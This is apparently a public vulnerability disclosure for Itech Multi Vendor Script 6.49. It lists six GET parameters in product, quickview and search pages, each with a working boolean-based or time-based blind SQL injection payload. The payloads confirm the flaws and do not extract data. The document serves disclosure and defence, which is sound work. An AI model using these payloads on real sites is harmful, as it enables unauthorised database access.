77 lines
No EOL
2.5 KiB
Text
77 lines
No EOL
2.5 KiB
Text
# Exploit Title : Itech Multi Vendor Script - Multiple SQL Injections
|
|
# Author : Yunus YILDIRIM (Th3GundY)
|
|
# Team : CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
|
|
# Website : http://www.yunus.ninja
|
|
# Contact : yunusyildirim@protonmail.com
|
|
|
|
# Vendor Homepage : http://itechscripts.com/
|
|
# Software Link : http://itechscripts.com/multi-vendor-shopping-script/
|
|
# Vuln. Version : 6.49
|
|
# Demo : http://multi-vendor.itechscripts.com
|
|
|
|
|
|
# # # # DETAILS # # # #
|
|
|
|
SQL Injections :
|
|
|
|
# 1
|
|
http://localhost/quickview.php?id=10
|
|
Parameter: id (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: id=10 AND 9776=9776
|
|
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind
|
|
Payload: id=10 AND SLEEP(5)
|
|
|
|
# 2
|
|
http://localhost/product.php?id=9
|
|
Parameter: id (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: id=9 AND 9693=9693
|
|
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind
|
|
Payload: id=9 AND SLEEP(5)
|
|
|
|
# 3
|
|
http://localhost/product_search.php?search=Adidas
|
|
Parameter: search (GET)
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind
|
|
Payload: search=Adidas%' AND SLEEP(5) AND '%'='
|
|
|
|
# 4
|
|
http://localhost/product_search.php?category_id=1
|
|
Parameter: category_id (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: category_id=1 AND 8225=8225
|
|
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind
|
|
Payload: category_id=1 AND SLEEP(5)
|
|
|
|
# 5
|
|
http://localhost/product_search.php?category_id=1&sub_category_id=1&sub_sub_category_id=1
|
|
Parameter: sub_sub_category_id (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: category_id=1&sub_category_id=1&sub_sub_category_id=1 AND 7485=7485
|
|
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind
|
|
Payload: category_id=1&sub_category_id=1&sub_sub_category_id=1 AND SLEEP(5)
|
|
|
|
# 6
|
|
http://localhost/product_search.php?category_id=1&sub_category_id=1
|
|
Parameter: sub_category_id (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: category_id=1&sub_category_id=1 AND 5242=5242
|
|
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind
|
|
Payload: category_id=1&sub_category_id=1 AND SLEEP(5) |